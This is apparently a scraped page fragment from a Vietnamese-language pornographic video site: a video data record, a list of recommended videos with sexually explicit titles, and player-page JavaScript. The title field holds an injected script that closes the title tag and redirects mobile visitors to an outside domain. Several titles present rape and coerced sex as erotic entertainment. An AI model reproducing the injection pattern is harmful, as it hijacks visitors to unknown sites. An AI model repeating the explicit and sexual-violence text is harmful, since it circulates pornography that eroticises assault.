</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Cô gái JK ngực khủng chất lượng cao trong tất đen và váy ngắn đang tự sướng với dương vật giả trên vùng kín trắng hồng mềm mại của mình</script>
Cô gái JK ngực khủng chất lượng cao trong tất đen và váy ngắn đang tự sướng với dương vật giả trên vùng kín trắng hồng mềm mại của mình","site_id":0,"video_url":"https://2605.v155p.com/20260701/QsfYFOYj/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZDcyN2RkMWFhOTQzZmNjZTI2YjY5OTRhMTdjMjhjYTEuanBn.cache","duration":"20:54","actor":[],"lastmod":1783766805,"rating":"6.0","view_count":117,"description":"Cô gái JK xinh đẹp với vòng một đầy đặn, mặc quần tất đen và váy ngắn, đang tự thỏa mãn bằng dương vật giả trên vùng kín màu hồng và trắng của mình.","tag":["Chất lượng hàng đầu","Ngực lớn","Vớ đen","siêu ngắn","váy ngắn","váy ngắn","dương vật giả","thủ dâm bằng dương vật giả","thủ dâm","hồng","hội chợ","Hổ trắng hồng và mềm mại","Hổ Trắng","lỗ nhỏ"],"site_url":"178787","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZDcyN2RkMWFhOTQzZmNjZTI2YjY5OTRhMTdjMjhjYTEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"极品爆乳黑袜JK超短裙假屌自慰粉嫩白虎小穴","s_keywords":"极品爆乳黑袜JK超短裙假屌自慰粉嫩白虎小穴","s_description":"Cô gái JK ngực khủng chất lượng cao trong tất đen và váy ngắn đang tự sướng với dương vật giả trên vùng kín trắng hồng mềm mại của mình","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvMmQ4ODdjYjI1ZGJlOWFlNGNhMjQ1OTc0OWUzYjcyNzcuanBn.cache","vod_id":19166518,"title":"Thân hình chín đầu tương phản, hình thể cực kỳ đanh đá, quyến rũ ngoài trời","lastmod":"2026-07-11","duration":"19:07","url":"/play/19166518.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTg2YmFmMWQ1MGNjZmI4NTc5MWFiYmQwOGFjOWZiZTYuanBn.cache","vod_id":18977054,"title":"Những cô gái năng động và yêu đời như thế này rất hiếm; nếu gặp được một người, hãy trân trọng cô ấy nhé các bạn! Cô ấy xinh đẹp và cực kỳ giỏi giang. Tuyệt đẹp, giỏi cả quan hệ bằng miệng, nuốt tinh dịch và xuất tinh lên mặt!","lastmod":"2025-03-23","duration":"00:07:35","url":"/play/18977054.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWYzZDA3ZDMzMDQxMWM5ODRmYzhmMDFlNTM5OTA3YmMuanBn.cache","vod_id":18963487,"title":"MDTM-223 Namiki Haruka hoàn toàn ủng hộ việc thủ dâm của bạn với màn nhập vai đáng yêu của cô ấy.","lastmod":"2025-12-14","duration":"02:23:42","url":"/play/18963487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTBkZjNhMGQxNjkwMGY2MTVkYjgzOGZjN2FiOTg5M2EuanBn.cache","vod_id":18923243,"title":"Một cô gái thân hình đầy đặn, ngực khủng đang tự thỏa mãn trên ghế, vùng kín của cô ấy khá nổi bật – vô cùng quyến rũ. Đừng bỏ lỡ!","lastmod":"2025-12-14","duration":"00:48:38","url":"/play/18923243.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGY4YzdjZWFlNDg2YmJjNTNlYjdjYzk4OGU1OGQyMjcuanBn.cache","vod_id":18993854,"title":"Phim AV Trung Quốc 91, Studio sản xuất 91MS013, Nữ diễn viên trưởng thành chất lượng cao Li Ping!","lastmod":"2025-12-14","duration":"39:58","url":"/play/18993854.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjAvMzNlNWMwMWE3NzJhZmU5Nzk2M2QyNzdhODQ1MDg5ZmEuanBn.cache","vod_id":19063596,"title":"Những người đẹp 36D cưỡng hiếp tập thể những người đàn ông cơ bắp; những người đẹp có khuôn mặt trẻ thơ chất lượng hàng đầu.","lastmod":"2025-12-14","duration":"51:15","url":"/play/19063596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvM2IzMDhjNTc1MTRlYjFkMjNjMjYyODFmNThkYzA1NzguanBn.cache","vod_id":19153298,"title":"Một cô gái xinh đẹp với vẻ ngoài trong sáng và ngây thơ, nhưng bên trong lẫn bên ngoài, cô ta là một kẻ nhu nhược và dùng đồ chơi tình dục để thủ dâm.","lastmod":"2026-04-14","duration":"02:28:17","url":"/play/19153298.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvMDkwODg1NTQwOGU3YmIyMzhiMTc3MWRkYjg5NTdkNjAuanBn.cache","vod_id":19133921,"title":"Một người phụ nữ vô cùng xinh đẹp đến từ Thành Đô, Tứ Xuyên, đang bị cưỡng hiếp; cảnh tượng ấy thật mãn nhãn! Cô ấy là một mỹ nhân hàng đầu đã tham gia ngành công nghiệp giải trí người lớn để có một màn trình diễn ngoạn mục.","lastmod":"2025-12-17","duration":"02:56:31","url":"/play/19133921.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2QxNGQxNDNiZjc3ZTQzMjQ3MjkzMTFkYzNmYjg0YjIuanBn.cache","vod_id":19164363,"title":"Những chị em gái ngực khủng hàng đầu trong trang phục JK bị cưỡng bức đến co giật","lastmod":"2026-07-11","duration":"22:46","url":"/play/19164363.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2Q1NTJlM2RkZmUwZWIxZDkyMmM4YmE2NGNiNThjOTMuanBn.cache","vod_id":18923550,"title":"Nữ thần xinh đẹp, người dẫn chương trình trưởng thành và quyến rũ, phát sóng trực tiếp có trả phí, ngoại hình nổi bật, thân hình cân đối, cảnh thủ dâm và quan hệ tình dục qua đường âm đạo rất hấp dẫn.","lastmod":"2025-12-14","duration":"02:17:15","url":"/play/18923550.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzk2YWYyNzRjY2JiZDNjODgxM2MwNGE3ZGI5MmUwODEuanBn.cache","vod_id":19161945,"title":"Cô gái ngây thơ xinh đẹp nhất, ngực hồng hào và mềm mại, siêu xinh đẹp, đầu tiên là quan hệ bằng miệng rồi đến quan hệ tình dục, ahhh, bị làm tình cho đến khi khuôn mặt cô ấy tràn ngập khoái cảm.","lastmod":"2026-07-11","duration":"26:39","url":"/play/19161945.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWExMDU0YjU5OGEzYmNkOTNlYThlMzEzMzMyNWFhY2IuanBn.cache","vod_id":18944985,"title":"Một người phụ nữ xinh đẹp trong bộ váy trắng, với vẻ ngoài quyến rũ và phong thái thanh lịch, [Con mèo của Schrödinger], xuất hiện trong bộ đồ lót và sử dụng đạo cụ để tự thỏa mãn. Cảnh quay cận cảnh cô ấy đạt cực khoái với một dương vật rung được chiếu. Vô cùng quyến rũ, đừng bỏ lỡ!","lastmod":"2025-03-22","duration":"01:39:49","url":"/play/18944985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYjc0MGRhYjI4OGRjYWVmNzExYTdlNjE2Yzk3NjY0ZGUuanBn.cache","vod_id":19158188,"title":"Giáo viên dạy nhảy mới nổi giận, Tapo thực hiện động tác xoạc chân khó, múa cột khỏa thân, thủ dâm - 3","lastmod":"2026-05-15","duration":"01:04:01","url":"/play/19158188.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2JiNWQzMzg4YjQwNjhmNmY5Y2YzMGRmZDljZDUxZDkuanBn.cache","vod_id":18951225,"title":"Một người mẫu mũ lưỡi trai Nike đang khoe thân hình hoàn toàn khỏa thân, dang rộng hai chân trên ghế để lộ vùng kín, trông rất quyến rũ.","lastmod":"2025-12-14","duration":"01:18:33","url":"/play/18951225.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjIyMjJkNTI5NDU0ODM0NGY5YmYyN2I3NTUzMzZjNzIuanBn.cache","vod_id":19157033,"title":"Tiểu Bao tìm kiếm một cô gái xinh đẹp tuyệt trần, dịu dàng, chân dài trong chiếc váy đen lộng lẫy.","lastmod":"2026-05-07","duration":"59:48","url":"/play/19157033.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjUwYzE5MjNkMGFhNGZlMmEzMmE5OTM4OWVhNGU1MjIuanBn.cache","vod_id":19147614,"title":"Mát-xa ngực và thủ dâm trực tuyến của Guan Xiaotong","lastmod":"2026-03-10","duration":"06:40","url":"/play/19147614.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTI0ZjJiMWIzZjhlY2M4NzA3MGNiNTBiZGI2Yjk5NmUuanBn.cache","vod_id":18978672,"title":"MLMM-026 Người đẹp quyến rũ Yuzuki Marina, 220 phút, Madonna với thân hình đầy đặn và gợi cảm.","lastmod":"2025-03-23","duration":"03:39:25","url":"/play/18978672.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2Y5ZWY3NjkzNWFlZWQ5MDMyY2UyZjg5YWQ2OGNkZDkuanBn.cache","vod_id":18999376,"title":"Miaoli, cô gái Đài Loan mới nhất và xinh đẹp nhất của TW, sử dụng máy rung mới mua để tự thỏa mãn. Cô ấy đặt máy rung vào ghế và rên rỉ đầy quyến rũ khi dùng ngón tay xoa bóp nó.","lastmod":"2025-03-23","duration":"01:02:24","url":"/play/18999376.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMThiNzMzYTlkNDJiZTk2YTM1ZDhhMmY3MzY0ODQ3MWIuanBn.cache","vod_id":18925371,"title":"Nữ streamer xinh đẹp này có khuôn mặt và thân hình tuyệt vời; màn tự thỏa mãn và kích thích âm đạo của cô ấy rất quyến rũ.","lastmod":"2025-12-14","duration":"01:00:25","url":"/play/18925371.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGU3YTc2ODllZjI0ODY0ODA0MTBlZGIxYWEyYzhhNGQuanBn.cache","vod_id":18978397,"title":"[Phụ đề tiếng Trung] SCOP-811 Tôi vô tình nhìn thấy một cô gái đang lén lút thủ dâm bằng đồ chơi trong khuôn viên trường, nên không ai để ý! Cô ấy đạt cực khoái trước khi xuất tinh.","lastmod":"2025-03-23","duration":"02:13:26","url":"/play/18978397.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTYvMTA3NjRlZTgyMjBlOGI4ZTBhMThhMDhkNDk4YjI0YTUuanBn.cache","vod_id":19029382,"title":"Con nhỏ lẳng lơ tự sướng ở nhà, xoa âm vật và dùng đồ chơi tình dục để làm cho mình ướt át, nhắm mắt lại và tận hưởng một cách tột độ.","lastmod":"2025-04-16","duration":"14:14","url":"/play/19029382.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjEvYzA5YmVlNzM2YWUwZGYxODEzNDRjMGQ1NmYwOWRhYmIuanBn.cache","vod_id":19048228,"title":"Phim AV91MS013 của Trung Quốc có sự góp mặt của Li Ping, một người phụ nữ trưởng thành vô cùng quyến rũ!","lastmod":"2025-08-20","duration":"39:58","url":"/play/19048228.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjZkNDI1ZTAyOGY0ZTM2ZTIwODBjNzk0Y2U0NTkzNDkuanBn.cache","vod_id":19150513,"title":"Mẹ kế của một cô gái da đen nóng bỏng, từng là tội phạm nhưng nay đã trở nên năng động, với cái lỗ nhỏ yếu ớt dễ đạt cực khoái nhanh chóng. HSODA-103","lastmod":"2026-03-28","duration":"02:16:18","url":"/play/19150513.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTUwMjMzYWIxYjJkNDRmZTA2MTIyY2NiMzk0ODUxNDAuanBn.cache","vod_id":18996371,"title":"Một cô gái Nhật Bản ngây thơ tự thỏa mãn dưới bồn tắm - TokyoDiary","lastmod":"2025-03-23","duration":"10:11","url":"/play/18996371.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Cô gái JK ngực khủng chất lượng cao trong tất đen và váy ngắn đang tự sướng với dương vật giả trên vùng kín trắng hồng mềm mại của mình</script>',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}